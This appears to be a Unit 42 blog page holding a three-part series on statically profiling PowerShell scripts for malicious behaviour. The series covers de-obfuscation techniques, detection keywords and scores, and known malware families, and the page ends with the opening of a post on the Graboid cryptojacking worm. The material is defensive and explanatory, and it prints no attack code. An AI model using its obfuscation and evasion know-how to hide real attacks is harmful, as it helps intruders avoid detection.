General Observations about Static Analysis

I’ll briefly cover some general observations I’ve made after going through this exercise and talk about some of the reasons why a sample may not lend itself to profiling or otherwise prevent the profiling script from hitting the targeted threshold for malicious activity.

  • Remotely loading of content is a tactic more commonly seen in advanced attacks. Its purpose is to prevent exposure of the payload and prevent further analysis. In these cases, there may be little to no behavioral indicators beyond “Downloader” that trigger which is far too generic to be useful when inferring intent. Using keywords in the “Negative Context” will sometimes be the only feasible adjustment that can be made and should be used as a last resort due to the nightmare of managing word lists like this.
  • Mixed scripting languages are another area that can cause problems in determining intent due to the profiling script not being designed to de-obfuscate or normalize the other languages unique structures. When the obfuscation is more universal, such as Base64 or type conversion, it may still work to reveal contextual clues but in general it’s not to be relied upon. These mixed language scripts, such as JavaScript and VBS, will frequently leverage PowerShell for a specific functionality, or vice versa. These polyglot scripts create a hole in the visibility we have into the overall behaviors without extending the script to cover additional scripting languages.
  • Using complex REGEX patterns..they are a blessing and a curse. Since I’m trying to leave the patterns extremely loose so as to deal with the multitude of variations you’ll find in PowerShell, it leaves the door open for mistakes in matching. This includes content being missed for profiling, over-matching, or the matched content being changed in such a way that it no longer matches behaviors as expected. It’s a balancing act trying to find the sweet spot between identifying keywords no matter the obfuscation and avoiding false matches.
  • Static analysis, in general, can be thwarted by abusing the flexibility of PowerShell for more extreme obfuscation techniques which make programmatic approaches very challenging. When I stumble across these situations, there are usually meta-characteristics that can be identified since these samples stick out like a sore thumb but it’s something to be wary of and the scores might not reflect the true nature of the script.
  • Sometimes a PowerShell script on the surface doesn’t appear malicious in the terms I’ve established as “bad” and thus doesn’t score high, but in certain circles, the script may be considered as so. For example, a PowerShell script that changes the homepage for Internet Explorer every time a PC boots or a PowerShell script that profiles the network. Both things can be argued for and against as being Malicious at a high level but it helps to highlight that while context is important, context is also unique to the person interpreting the output.
  • PowerShell is an evolving language both in functionality created by Microsoft and as an attack platform. As more offensive tools get released and new capabilities are adopted, behavioral keywords can become stale, so it requires more attention to stay on top of how things change over time.
  • Opting to use a gradient scale for scoring instead of flat verdicts opens the door for ambiguity and it becomes increasingly difficult to measure the impact changes to the profiling script will have. During my development phase, I heavily leveraged my ground truth sample set to see how shifts in the score values of behaviors, the addition of new behaviors, and the addition of new unraveling or de-obfuscating functions impacted every file individually. Since the target threshold was relatively low (“6.0”), then it meant any change could have a significant impact in pushing samples in the wrong direction.

ScriptBlock Logging and Practical Use Cases

To pull everything together then, how might one utilize this PowerShell profiling script in real environments? I’ll present a few ideas that I have on the topic as I start winding down this blog series.

For starters, the most obvious usage is to run the script early in your incident response process to get a feel for the behaviors that may be present in the PowerShell script. The behaviors can then help guide further research and defensive measures you can take. If a sample exhibits a “Downloader” behavior, then you can quickly focus on the domains or IP addresses called from the script to begin searching your network logging for activity indicative of it. Similarly, if there are “Enumeration” behaviors or “Persistence” behaviors, then the processing of the PowerShell script may reveal registry keys and values, file names, file paths, or other unique features that can then be leveraged for further pivoting and hunting.

Another approach is utilizing the profiling script for the bulk scanning of PowerShell scripts in your environment. You can deploy the profiling script to host systems and run it locally, though I would not recommend it, or pull the PowerShell scripts back to a central location for scanning - like in the cases where files are backed up in central repositories, though it may miss PowerShell scripts in odd locations. Regardless of how you collect them, using tools like GNU Parallels will let you process hundreds of thousands of files relatively quickly. The average processing time for an individual PowerShell script in my sample set was around 2 milliseconds so it scales nicely based on available resources. Once the files are processed, you can use the scores or combinations of behaviors to hone in quickly on files for further investigation.

Lastly, I’ll talk about ScriptBlock logging. Let’s assume that collecting the scripts for local analysis is too cumbersome for some reason but your organization has a SIEM or some kind of log collection system actively ingesting logs from your endpoints. In this scenario, your organization is likely on at least PowerShell version 5.0 where Microsoft introduced a feature for script tracing and logging. If you’re not familiar with it, ScriptBlock logging is a feature that can be enabled on a host that logs the code blocks which PowerShell compiles and executes to the ETW event log (event ID 4104).

One major advantage to ScriptBlock logging is that when PowerShell compiles the code for execution, it can remove layers of obfuscation that the profiling script would otherwise attempt to do statically, but without the worry of “getting it right”. Another advantage is that it allows for a constant “stream” of events from across your fleet of systems that you can check in near real-time and design alerts around to more rapidly identify potentially compromised hosts.

Of course, it’s not without its caveats and the one that comes to the forefront is that you do not necessarily have the full script for profiling. Additionally, one advantage static analysis has over dynamic is that it’s not constrained to the execution path that a PowerShell script takes and so you have more potential coverage, whereas ScriptBlock events will only contain the code PowerShell ran. The second problem is that you really want the full set of code blocks that PowerShell logged to properly identify all of the behaviors presented for a particular case. The ScriptBlock events can be tied together by using various other meta-data contained within the events but it makes it slightly trickier to cobble together for profiling.

That being said, the screenshot below is from a ScriptBlock event for the same sample I showed in Figure 8 and it reveals the profiling script got pretty close to what PowerShell executed after all of the decompression, format operator replacement, and string replacements took place.

Figure 12. ScriptBlock event with obfuscation removed

But it has the added benefit of showing the next block of code is executed, which the profiling script does not see, thus providing the potential for further profiling, such as possibly using a REGEX pattern to match on the URL structure and identify the malware family.

Figure 13. Additional data revealed by ScriptBlock event

Conclusion

Static analysis isn’t without its flaws but knowing what it’s advantages are, we can utilize them to improve our ability to detect malicious PowerShell scripts. Hopefully, this series of blogs and tools offered can provide some ideas and methods to do just that.

At the end of the day, every tool that helps augment your defenses and allows you to focus your investigative efforts into more specific areas is a win in my book.

The PowerShellProfiler.py script can be downloaded from the Unit 42 GitHub page.

 

Practical Behavioral Profiling of PowerShell Scripts through Static Analysis (Part 2)

Posted on by Jeff White

Executive Summary

This 3-part blog series focuses on a practical approach to static analysis of PowerShell scripts and developing a platform-independent Python script to carry out this task. This is Part 2 of a 3-part blog series and you can read Part 1 here to get caught up.

Over the course of the series, I will talk about the ins and outs of behavioral profiling, cover common obfuscation and methods of hiding data within PowerShell scripts, and how we can go about building a scoring system to assess the risks of scripts. In general, I aim to aide other analysts and defenders in this endeavor with ideas and a functional foundation script to hit the ground running.

Introduction

In the first part of this blog, I touched on some general concepts around static analysis, behaviors in PowerShell, and things I needed to consider as I moved into the design phase, which will be the focus of this second blog.

My overarching goal is to profile behaviors and infer their intent in PowerShell scripts so I’ll begin by looking at the script input first. Next, I’ll cover the general process of normalizing and de-obfuscating common PowerShell obfuscation and code hiding techniques that you’ll see in-the-wild (ITW) and provide examples of how script content is modified during processing to reveal more data. Finally, we’ll take a look at the behaviors I’ve identified as important for scoring and how they play into the overall assessment of risk in scoring.

PowerShell Script Input

Input can come in many flavors but for the sake of simplicity, I’ll limit this discussion to PowerShell scripts and not other files which may contain PowerShell commands or embedded scripts, such as ScriptBlock Logs, VBScript, and JavaScript. Regardless of the type, it all begins the same way with preparing the data for processing throughout the rest of the script.

In this case, it’s fairly straightforward to start. As I’ll be dealing heavily with REGEX and string matching on ASCII based character sets used to define function names and other keywords in PowerShell, I need to remove the NULL bytes from the input data so that character encoding is less of a problem down the line. If you’re not familiar with the default Windows code pages or Unicode, just know that they utilize two bytes to represent a character but, for our use-case, we are only interested in the characters which fall in the ASCII range. In a two-byte code page, which deals with the character encoding, the first byte will be NULL. For example, if we wanted to search for an exact match of the word “HELLO” but there are NULL bytes pre-pending each byte representing a character in the ASCII range, then this can lead to matching issues so we’ll strip them out.

The string “\x00H\x00E\x00L\x00L\x00O” becomes simply “HELLO”. This establishes a uniformity in characters to match against before I move the data further downstream for processing.

Preparing Content for Profiling

To accurately profile the PowerShell behaviors, I need to normalize and de-obfuscate as much of the content as possible so that I have the highest opportunity of identifying behaviors in the content; whether they are in plain sight, hidden under multiple layers of obfuscation, or buried within various encoding algorithms.

To do this, the script creates two sets of data from the original content that will be scanned over continuously; one which contains the original content, sans the NULL bytes described earlier, and an alternate one wherein the script builds up new content that it discovers during processing. Sometimes there is little deviation from the original content and it’s entirely driven based on identifying the obfuscation and content hiding methods that may have been employed.

There are two distinct phases here for preparing the content for profiling. One is for cleaning up the content and removing various types of obfuscation and one is for trying to unravel the various ways of burying data within the code that PowerShell supports, such as encryption, compression, and encoding. I’ll step through each of these phases and go over the existing functions that I’ve built into the script to achieve these goals but, before I move on, I need to talk about general obfuscation and how I approached processing.

When you analyze malicious scripts, you’ll frequently find multiple layers and types of obfuscation all contained within a script. What this means is that when the script removes obfuscation from code, it potentially reveals a new code that also needs to be analyzed again to see if it contains more obfuscation or requires more normalization and the process repeats itself. Given this, there needs to be a way to track the state of code and it’s subsequent alteration so that the script can continue processing it until the state fails to change, this workflow is shown in the figure below.

Figure 7. High-level Processing Flow

At a high level, this is relatively straight forward but in practice, there are more practical issues you may run into, such as the order in which the script process different types of obfuscation. These considerations and the order of de-obfuscation or normalization I use in the script were derived over the course of testing and iteration.

As the profiling script is not executing the code, I’m less concerned with unraveling a functional script and more interested in unraveling the raw content; however, when the profiling script does attempt to reverse obfuscation than I try to maintain the integrity of the underlying code where possible. Once the state finally stops changing, the profiling script can move into the behavioral profiling process.

In the current iteration, there are numerous functions for normalizing and unraveling content so I’ll dive into each of them, what their intent is, and discuss how they affect the code.

Normalization / Obfuscation Removal

The identification of obfuscation is typically handled with simple searches or REGEX matches when dealing with non-single character obfuscation. Given the flexibility of PowerShell, you’ll run across dozens of variations for the same commands that can be used so the REGEX patterns I’ve created are designed to capture as many variants as possible, but there is always room for improvement and those included in the script just capture the variants found in my sample set.

To illustrate this idea, consider the following REGEX pattern for capturing variants of the Format String Operator Replacement technique.

Which can match on things like the following:

Basic single-character obfuscation will be removed from the content during processing while the more complex ones will replace the content blocks inline. For each type of obfuscation dealt with, I’ll provide a brief description and a real world example of it in action and what it should transform into.

1. Backticks (`) are used for escaping characters in PowerShell and wrapping lines of code. It’s commonly used in
obfuscation to escape non-special characters and break-up words to prevent matching.

2. Carets (^) are escape characters for Windows command line and when you find mixed scripting languages you’ll
frequently see this.

3. Escaped Quotes (\”) are most commonly seen for substrings that need to be escaped and we’ll want to remove the
escaping so we can accurately profile across that boundary, where a backslash may interfere with pattern matching. In
malicious scripts, these substrings are frequently commands which will be unraveled or passed to new instances of
PowerShell that can be profiled further. Additionally, it can be used to insert empty quotes for additional obfuscation
like below.

4. Empty Quotes (“”) are another trick that can be used to break up variables in PowerShell and otherwise break string
matching, so I remove those when necessary.

5. Spaces ( ) can be used to obfuscate in a way that is similar to CaMeL CaSe capitalization; it’s used to confuse the reader
without causing issues with how PowerShell interprets the code.

6. Concatenation (+) of strings is another common technique for breaking up strings so the profiling script attempts to
rebuild them. There are many ways of doing concatenation but this one focuses on the use of the addition symbol.

  • Type Conversion is another technique it looks for as the technique is commonly used for string obfuscation. This is the first of the “brute force” functions in which the profiling script iterate over multiple base values (base8, base16, and base32) to build possible strings, along with trying to identify integers and hexadecimal values stored in lists that can be converted to ASCII.

  • Splitting, as seen above, goes hand in hand with conversion and you’ll frequently see in malicious scripts this obfuscation using a range of characters to split integers or hexadecimal values. In these cases, the script again takes a shotgun approach to strip out contiguous sets of values and try to decipher as much plain text as possible.

Last, there are two more obfuscation types the profiling script tackles that are a bit more complicated in terms of identification and parsing due to PowerShells flexibility in how things can be called.

7. Format String Operator Replacement has seen a sharp rise of adoption rates in
malicious scripts ever since Daniel Bohannon released Invoke-Obfuscation that uses
this token-style replacement heavily. The functions for statically parsing these with
REGEX require that it considers nested layers of operator replacement, so it targets
smaller inner-versions first and slowly unravels it from the inside-out. It’ll substitute
the parsed string with the replacement command until it’s unable to identify anymore
variants in the content.

8. For PowerShell’s built-in string replacement function, the script again uses a REGEX
pattern to identify the many variations possible for this command and attempts to
replace strings across the content.

These sets of de-obfuscation and normalization functions will be run and re-run again as new content is discovered or the state of the existing data changes.

Unraveling Content

Similar to the above functions for de-obfuscation and normalization of content for profiling, the script also scans the content for certain artifacts to determine if there is additional content that may unraveled. In this next section, I’ll step through the various methods it uses to identify and reveal the content statically.

  • Reversed content is one of the simpler types it’ll deal with and, in my experience, isn’t actually that common. In this case, it simply looks for reversed strings of common PowerShell methods and then take the entire content, reverses it, and appends it to the end of the alternate content stream.

  • Another common method of hiding content from view is to utilize the Windows Stream objects which are effectively a class used to encode content. In this case, the profiling script identifies if the calls exist within the visible content and then attempts to deflate the stream. By default, Microsoft uses the same compression algorithm as gzip but the script will attempt to brute force it with a couple of different compression settings to expand coverage.

  • Next is Base64, which is probably the most basic and universal encoding scheme around. Nothing fancy here but so it just takes every piece of content which matches a REGEX pattern for Base64 over a certain size (currently 30 bytes), decodes it, and append it to the alternate data stream for profiling.

  • Finally, there is some basic decryption of Microsoft SecureStrings which use the default AES in CBC mode when the SecureString is created with a key. The script looks for the calls to decrypt these SecureStrings and then tries to identify the symmetric encryption key, all of the Base64 content, and the required IV to decrypt the content. I’ve yet to see this technique used in-the-wild (ITW) for a small amount of data that I could use for illustrative purposes so I’ve cobbled together a quick example instead.

The string “EXAMPLE” is encrypted by the 24 bytes and a Base64 value is returned. The inner contents of this Base64 blob, which appear to be a non-publicly documented structure, contain the encrypted string and a Base64 encoded IV. The values are pipe (“|”) delimited so I’ve highlighted the IV in RED and the encrypted data in BLUE. These are what the function will target for decryption.

This overview covers all of the techniques I’ve found to be commonly used throughout malicious scripts, along with various types of de-obfuscation or normalization needed to reveal further content. While this by no means is intended to coverage of everything, it’s a good base to start from.

Profiling Known Malware Families

Once the profiling script has as much of the content revealed as possible, it then begins the identification phase. The script starts with first trying to look for known malware families and variants of them as this provides a quick way to score files based off of known indicators and establish intent very quickly. These are primarily REGEX patterns or collections of keywords that uniquely identify malicious scripts such as Magic Unicorn, Social Engineer Toolkit (SET), and Veil. The full list of the currently checked families are below and this section can be added to when new popular formats start appearing ITW.

  • Magic Unicorn
  • ShellCode Injector
  • ICMP Shell
  • SET
  • PowerDump
  • BashBunny
  • Veil
  • PowerWorm
  • PowerShell Empire
  • Powerfun
  • Mimikatz
  • Mimikittenz
  • PowerSploit
  • DynAmite
  • Invoke-Obfuscation
  • TXT C2
  • Remote DLL
  • Cobalt Strike
  • Vdw0rm
  • Emotet
  • mateMiner
  • DownAndExec
  • Buckeye
  • APT34
  • MuddyWater
  • Tennc Webshell
  • PoshC2
  • Posh-SecMod
  • Invoke-TheHash
  • Nishang
  • Invoke-CradleCrafter

These were all derived through the aforementioned manual analysis or from previous research. Whenever I found that I was seeing repeating scripts, or structures of scripts, it was a good indicator that it was generated from a framework or script and those usually lend themselves to profiling quite well. Again, it’s not full coverage for any of the above but as you identify new variants or new families, you can add them as a way to expand your coverage.

Profiling PowerShell Behaviors

Next we move to the actual profiling of PowerShell behaviors. These are broken into three distinct contextual categories - behaviors generally only seen in malicious scripts, behaviors generally seen in both good and bad scripts (neutral), and finally behaviors generally only seen in benign scripts.

Figure 8. Venn Diagram of behavioral overlap

I’ll list all of them below and their corresponding scores (taken directly from the script) while covering some basics of how they work.

Negative Behaviors

  • 'Code Injection': 10.0
  • 'Key Logging': 3.0
  • 'Screen Scraping': 2.0
  • 'AppLocker Bypass': 2.0
  • 'AMSI Bypass': 2.0
  • 'Clear Logs': 2.0
  • 'Coin Miner': 6.0
  • 'Embedded File': 4.0
  • 'Abnormal Size': 2.0
  • 'Ransomware': 10.0
  • 'DNS C2': 2.0
  • 'Disabled Protections': 4.0
  • 'Negative Context': 10.0
  • 'Malicious Behavior Combo': 6.0
  • 'Known Malware': 10.0

Keep in mind that we’re trying to place a malicious script in the score range of 6+, with the higher the score the more confident we are in the verdict.

For the majority of these, profiling is carried out with simple keyword scanning or combinations of keywords. Let’s take a look at a simple one and how the behavior is defined in the Python code.

For a script to be flagged as having the “Disabled Protections” behavior then, the content must contain one of four variations of “REG_DWORD” and a registry key that I’ve observed in malicious scripts to disable common Windows protection mechanisms such as AntiSpyware and AntiVirus.

Taking a look at another basic example for “Key Logging” shows various combinations of keywords that, when found together, are typically indicative of key logging activity.

Now, for both “Disabled Protections” and “Key Logging”, the scores are “4.0” and “3.0” respectively, well below the “6.0” threshold for malicious activity. The reason behind this is that sometimes, even though behaviors are predominantly only seen in malicious scripts, they are also used in benign scripts and so I want additional behaviors to add context and push the score beyond the threshold, as opposed to something like “Ransomware” or “Known Malware” where the profiling script immediately sets it above the “6.0” threshold.

A more complex behavior we can look at is “Code Injection”. This is a technique that follows a specific pattern of calls designed to carve out a segment of memory, move shellcode into the memory segment, and then finally transfer execution to the shellcode in memory. The problem is that at each phase of this, there are numerous methods which facilitate the respective functionality; the profiling script accounts for over 1300 variations alone. Thus, we’ll check each individual keyword at each step and only proceed to the next set of keywords if we find one in the previous set. This allows us to keep analysis time low even though the number of variations significantly rises with each addition. Speed is equally important when profiling these at scale and a lot of the profiling script is designed in ways to decrease run time where possible.

When you look at the above behaviors, you’ll also note one called “Malicious Behavior Combo” towards the end. This one is intended to bump malicious scripts that do not exhibit enough behavioral information to generate a score above the target threshold an extra boost as a contextual modifier. The profiling script will look at all of the behaviors for the PowerShell script as a whole and then use it as its own behavior.

The combinations are checked against the aforementioned ground truth of the scripts being used for a baseline to validate the combination of behaviors do not negatively impact benign scripts. It’s important to carefully monitor these as more data can reveal benign scripts which may match; however, this is a good example of using meta-data to influence scoring.

Neutral Behaviors

  • 'Downloader': 1.5
  • 'Starts Process': 1.5
  • 'Script Execution': 1.5
  • 'Compression': 1.5
  • 'Hidden Window': 0.5
  • 'Custom Web Fields': 1.0
  • 'Persistence': 1.0
  • 'Sleeps': 0.5
  • 'Uninstalls Apps': 0.5
  • 'Obfuscation': 1.0
  • 'Crypto': 2.0
  • 'Enumeration': 0.5
  • 'Registry': 0.5
  • 'Sends Data': 1.0
  • 'Byte Usage': 1.0
  • 'SysInternals': 1.5
  • 'One Liner': 2.0
  • 'Variable Extension': 2.0

The neutral behaviors are, as the name suggests, neither good nor bad and follow a similar approach to the ones previously discussed. There are a couple of additional meta-behaviors that I want to highlight which are “Obfuscation”, “One Liner”, and “Variable Extension” as they illustrate more diversion from the keyword approach. Just to recap then, meta-behaviors are observed characteristics that are not a specific functionality or capability, but something that describes a characteristic of the PowerShell script.

  1. One Liner - This one is self explanatory, a script that solely exists on one line. It’s extremely common for malicious scripts or very simple PowerShell download cradles to be constrained on a singular line, whereas benign scripts typically have more structure and include multiple new-lines.
  2. Obfuscation - This is a case where the script profiles the content for various attributes like character frequency, volume of symbol usage, and volume of variable declarations. These attributes are counted in various ways and highlight observed characteristics of malicious scripts.
    • Character frequency analysis reflects standard deviations of character usage that were observed across malicious and benign script sample sets and, for example, will try to identify if “w” is used more than 500 times in the script, or a colon “:” used more than 100 times. There are 13 individual characters that fall into this category and 3 sets of dual characters (“[“ and “]”) which come into play if the script has less than 50 lines; this is usually indicative of a dense clustering of the characters.
    • Symbol usage is a specific type of obfuscation that I kept observed being used for variable declarations, such as below.

    • Raw volume of PowerShell and JavaScript unique variable declarations over 40.

3. Variable Extension - Another common obfuscation is taking advantage of
PowerShell’s ability to use wildcards (“*”) in variables. The profiling script will
count various commands for retrieving or setting variables and then count
wildcards surrounded by ASCII characters. If those counts are over a certain
amount than it’ll label the obfuscation type as variable extension. To show how it
works, the following code can be used to retrieve “ExecutionContext” and are
often seen chained together to build out other commands.

In general, the neutral behaviors are scored much lower so that multiple behaviors being flagged won’t generally be enough on their own to cross the established malicious threshold.

Benign Behaviors

  • 'Script Logging': -1.0
  • 'License': -2.0
  • 'Function Body': -2.0
  • 'Positive Context': -3.0

The benign behaviors rarely show up in malicious scripts and subtract from the overall score to help influence the context, subtracting from the totals to improve accuracy. For example, malicious scripts typically do not employ logging, licenses, or function preambles. The keyword here being “typically” as sometimes you will find cases where the attacker downloads a script from a PowerShell offensive framework via Github and don’t bother to clean it up. In these cases, there is almost always significant amounts of non-obfuscated behaviors to make up for any drops in score.

Finally, “Positive Context” are specifically used when benign scripts exhibit so many behaviors it crosses the malicious threshold and I want to try and artificially lower their scores. This is more common when dealing with administrative type scripts found in enterprises that perform a wide sweeping range of administrative functions on an endpoint or bootstrap systems.

Conclusion

In this blog I covered common PowerShell techniques for hiding data that I have observed and shown how these can be cleaned up with normalization and by reversing various types of obfuscation. This is a critical step before furtherer unraveling content that will be used as the base for behavioral profiling.

For the next blog in this series, I’ll take more of an in-depth look at how all of these things work together to profile scripts and talk about some observations I’ve made when it comes to statically analyzing PowerShell scripts.

 

Practical Behavioral Profiling of PowerShell Scripts through Static Analysis (Part 1)

Posted on by Jeff White

Executive Summary

This 3-part blog series focuses on a practical approach to static analysis of PowerShell scripts and developing a platform-independent Python script to carry out this task. Over the course of the series, I will talk about the ins and outs of behavioral profiling, cover common obfuscation and methods of hiding data within PowerShell scripts, and how we can go about building a scoring system to assess the risks of scripts. In general, I aim to aide other analysts and defenders in this endeavor with ideas and a functional foundation script to hit the ground running.

Introduction

Before we dive in too deep, I want to start by asking why we’re doing this, to begin with, and what do we hope to accomplish? What are the realities of this static analysis approach and where does this fit into the overall security ecosystem so we can better understand how to take advantage of it? It’s a lot of information to tackle so I’ve tried to divide this into a series of blogs to tackle the overarching questions but I’ll cover each one briefly here.

The first question is relatively simple to answer. What do we hope to accomplish? I look at a lot of PowerShell scripts and at any given time I may have thousands of files I need to assess the risk of and analyze. It’s very time consuming to manually go through them one-by-one and, in my experience, the dynamic analysis fails for a myriad of reasons to produce accurate results. It’s the classic Hot Dog, Not Hot Dog scenario and thus I wanted to find a way to automate as much of that heavy lifting as possible.

Figure 1. A classic scene from the hit show Silicon Valley

The second question, “What are the realities of this approach?”, is a bit more complex of a topic. When you think of static vs dynamic analysis, each comes with their own unique pro’s and con’s. Some might argue one is better than the other but I feel both are equally important and complementary. As I dove into PowerShell script analysis, one thing became almost immediately clear when comparing to the usual dynamic analysis reports - behaviors without context are almost meaningless statically. That is to say, benign scripts and malicious scripts quite frequently exhibit the same behaviors and functionality so without supplemental context or meta-data, it’s hard to discern their intent on the surface.

Finally, the last topic I’ll cover is where a tool that profiles behaviors in PowerShell scripts might fit into your security ecosystem. That’s a loaded one because every organization has unique needs and resources but I see this as an augmentation of existing capabilities and as a way to expedite analysis at scale so that time can be spent on building defenses up instead of unraveling the mysteries of PowerShell.

With that, let’s start diving into some of the core concepts of static analysis and the pros and cons of this approach.

Defining Behaviors in PowerShell

Before we talk about design and concepts, we need to define what “behaviors” are in this context and talk a little about PowerShell as a scripting language. If you’re not familiar with PowerShell, it’s a Microsoft scripting language that uses a verb-noun naming system for functions called cmdlets; however, PowerShell also interprets and executes native Windows command line and even dotNET code. For example, all three of the below lines in a PowerShell script produce the same output even though they are three distinct calling methods.

This flexibility, for our purposes, makes profiling more difficult as we will need to account for multiple ways of expressing the same thing.

When I describe a behavior then, I am referring to a general construct for performing a function and not necessarily anyone command or variant of a command. To illustrate, the “Get-Date” cmdlet might fall into an “Enumeration” behavior because it’s retrieving data relative to the host system it was run on. Similarly, one might group the dotNET class “New-Object System.Net.WebClient.DownloadFile” as a “Downloader” behavior because it will be used to remotely retrieve a file.

I will cover behaviors further in the design aspect of this blog but I wanted to establish the general idea first before proceeding.

Dynamic vs Static Analysis

While behaviors are specifically what we’re trying to identify, sometimes they are not enough to determine whether a script is benign or malicious. It’s the intent of how those behaviors will be used that acts as the deciding factor. Then how do we go about inferring intent? To illustrate, take a glance at the below two samples which visually look similar and exhibit the same following behaviors: “Downloader”, “Sleeps”, “Enumeration”, and “One Liner”.


Figure 2. Benign PowerShell Script

Figure 3. Malicious PowerShell Script

To answer the question of how we go about inferring intent, I need to take a step backwards and talk about history a little.

Long ago before dynamic malware analysis had really taken off, reviewing files statically was the primary method for determining if something was malicious or not. It was core to the defensive strategies at the time and provided a way to identify unique characteristics of samples. As time went on and dynamic analysis gained traction, more and more of the industry pivoted into tooling environments, products, and defensive response strategies around the exhibited dynamic traits of malicious files instead of static attributes. Dynamic analysis presented a wealth of information with significantly fewer resources, technical skills, and time being invested in the process. The ROI was factors better in every conceivable way and so behavioral analysis became the predominant force.

These behaviors shape our approaches to dealing with malware in modern environments and over time we’ve identified common traits that malicious files exhibit. These traits help us differentiate the good software from the bad and we’ve successfully leveraged these to protect our infrastructures. But when we think of the traits produced from dynamic analysis and how they correlate to static files, it doesn’t always translate so cleanly.

If I were to present a PowerShell script that downloads and executes another script, enumerates system information, uses compression and a lot of Base64 - your first thought might be that it’s malicious as these are behaviors we’ve become accustomed to associating with malware through dynamic analysis. But in this case, it’s just a PowerShell script written to display an animated ASCII Rick Roll meme. Questionably malicious depending on how you feel about Rick Astley but technically not, and thus we’re left with a conundrum.

Figure 4. Lee Holmes Rick Roll PowerShell script

Simply profiling behaviors statically may not be indicative enough of the intent to show how the code is used for determining whether something is good or bad. This is why intent is so important and I’ll continue to stress it throughout the blog series as being a primary factor in all considerations.

While working through this exercise, I came to the realization that organizations utilize PowerShell in a much different way than I am accustomed to. Scripting languages are extremely popular as the boundary for entry is much lower. They are comparatively easier to learn and write than traditional programming languages, the scripting framework is easily extendable, scripts are easily distributable, and they can easily be made to work cross-platform.

At the end of the day, PowerShell scripting has become an integral cog in a lot of organizations and, as such, is used in ways regular software rarely is, which is to say that when we profile behaviors of scripts versus executables, we have to think of the problem differently.

Determining Intent

To determine intent, I recognized a need to establish a “ground truth” that I could work from to see how changes in tooling affected scoring against a known verdict. To do this, I manually poured over thousands of benign and malicious PowerShell scripts seen in real-world environments and looked at each one individually to label them respectively - benign or malicious, hot dog not hot dog.

Besides being able to monitor how the scoring changes, it also allowed me to identify new behaviors, new obfuscation techniques, and new methods to hide data. When a known malicious script fell below my established threshold, it would let me focus my efforts on bringing those up which improved the accuracy overall for the rest of the samples.

This process of manual classification exposed me to every kind of script imaginable - all flavors of administrative and bootstrap scripts to scripts which generate daily excuses you can use in your emails to get out of meetings or, my personal favorite, one that randomly picks a lunch spot based on your location to display an ASCII menu. There are literally scripts for everything imaginable.

After classifying the sample set, it allowed me to navigate the question of intent much more thoughtfully and to understand what really differentiates scripts when behavior alone is not enough. Given that, as I looked at scripts and began the process of profiling behaviors, I tried to consider what the weight of the behavior is in relation to how it played into the overall intent of a script.

For example, a script that only downloads and executes an executable is less likely to be malicious when it also generates logs or contains a well-structured code versus a script that downloads and executes a process but uses obfuscation and is contained entirely on one line. Similarly, once a behavior is identified I could look at the distribution of it across benign and malicious scripts to observe the “rareness” of certain behaviors in one or the other and adjust the scoring weight accordingly.

Identifying behaviors that are important to context and figuring out how to score them appropriately is at the core of this profiling. Once the behaviors were created and a score applied, it allowed for the creation of a gradient scale of risk that I could map every sample into and find a “sweet spot” to begin more finely tuned adjustments from. Below is a chart that depicts the scale that I’ve used as a guideline to score risk statically in PowerShell scripts.

Figure 5. Gradient Scoring to establish risk

I’ve tried to aim for scoring malicious scripts at around the threshold of 6.0, which I will refer to throughout this blog series, with confidence going up the higher the score is. Below that threshold the risk decreases but should not necessarily be used to say a script is not malicious; however can provide a better place to focus research and analytical efforts, identifying and profiling new behaviors or contextual cues.

Things to Consider

Finally, here are a couple of points I want you to consider as I begin segueing into a discussion on the design of the tooling and how I approached building it to profile PowerShell scripts statically.

There is no such thing as a silver bullet and while that’s a hard pill to swallow, this tool will be no different. PowerShell is an amazingly flexible language. It provides the authors of scripts a multitude of ways to invoke the same functionality while not restricting them. This, of course, leads to major variations in uniformity and means we ultimately just can’t capture everything statically, especially when this factoring in that malicious script authors are trying to avoid detection.

As such, we must recognize that sometimes we’ll miss some of the behavioral indicators we’re trying to identify. In these cases, I opted to err on the side of caution and allow these malicious scripts to score below the threshold, rather than overweighing some behaviors and potentially scoring benign scripts too high. Additionally, I need to try and parse through “bad code” in regards to intent versus “bad code” in regards to how it was written. It’s not an easy task trying to determine whether something was purposefully written in an obfuscated way or just poorly written...or quite frequently both.

Another observation I’ve made during analysis is that benign scripts are frequently standalone, in that they are completely self-contained and can run without parameters or dependencies, malicious ones regularly are a small piece of a larger puzzle. Having a smaller piece of the puzzle will frequently mean less potential behaviors or context that we can profile.

Figure 6. Download Cradle Script that just retrieves additional content

To that end, nothing is off-limits, no matter how big or small when trying to build the behaviors, and having the corpus of samples with known verdicts allows us to test theories on how potential behaviors will affect scoring. Additionally, when function-based behaviors alone fail, I can still influence scoring by using contextual (“Invoke-DLLInjection”) keywords or meta-data, such as character frequency analysis, as their own type of behavior.

I also need to consider implied behaviors. As discussed previously, PowerShell is an amazingly flexible language with thousands of methods to obfuscate code or otherwise hide behaviors. In a previous blog I wrote, I showed that the “EncodedCommand” parameter alone has easily over 100,000 variations so, for example, if I can clearly see a malicious URL in the content of a script, but can’t identify how it’s downloading a payload from the URL, I may still try to infer that the script has a yet unknown downloading behavior. These inferred behaviors are a great source for further hunting and profiling because you can find new techniques and scripts designed to otherwise fly under the radar.

Likewise, profiling scripts in this way is a great way to familiarize yourself with malicious tradecraft and how it evolves over time. I highly recommend anyone who ends up using the tool I’m releasing to add your own behaviors as you discover new methodologies for profiling. You don’t know what you don’t know so treat this as an exercise in exploration and learning.

Conclusion

To conclude the first blog of the series, I’ll do a brief recap of some of the concepts and ideas presented above.

PowerShell is an extremely rich and verbose scripting language but its impressive flexibility is also a curse. Behaviors in PowerShell then are not limited to a singular or simple function call and we’ll need to be equally flexible in trying to identify them. As such, to profile behaviors we’ll need to de-obfuscate, unravel, and normalize content in such a way that we can apply similar concepts and lessons learned from dynamic analysis to static analysis.

Likewise when approaching behavioral profiling of PowerShell scripts statically, we want to consider how to determine the intent of behaviors from contextual cues and weighted scoring. The overall goal here is to assess risk and to successfully do that, having a ground truth to base the scoring against is absolutely critical.

In the next blog, I’ll dive in from a more technical perspective and begin looking at common obfuscation techniques and methods for hiding data within PowerShell that we can reverse. Additionally, I’ll start covering the behaviors I observed and how they affect the overall scoring for the script I am releasing.

 

Graboid: First-Ever Cryptojacking Worm Found in Images on Docker Hub

Posted on by Jay Chen

Executive Summary

Unit 42 researchers identified a new cryptojacking worm we’ve named Graboid that's spread to more than 2,000 unsecured Docker hosts. We derived the name by paying homage to the 1990’s movie “Tremors,” since this worm behaves similarly to the sandworms in the movie, in that it moves in short bursts of speed, but overall is relatively inept.

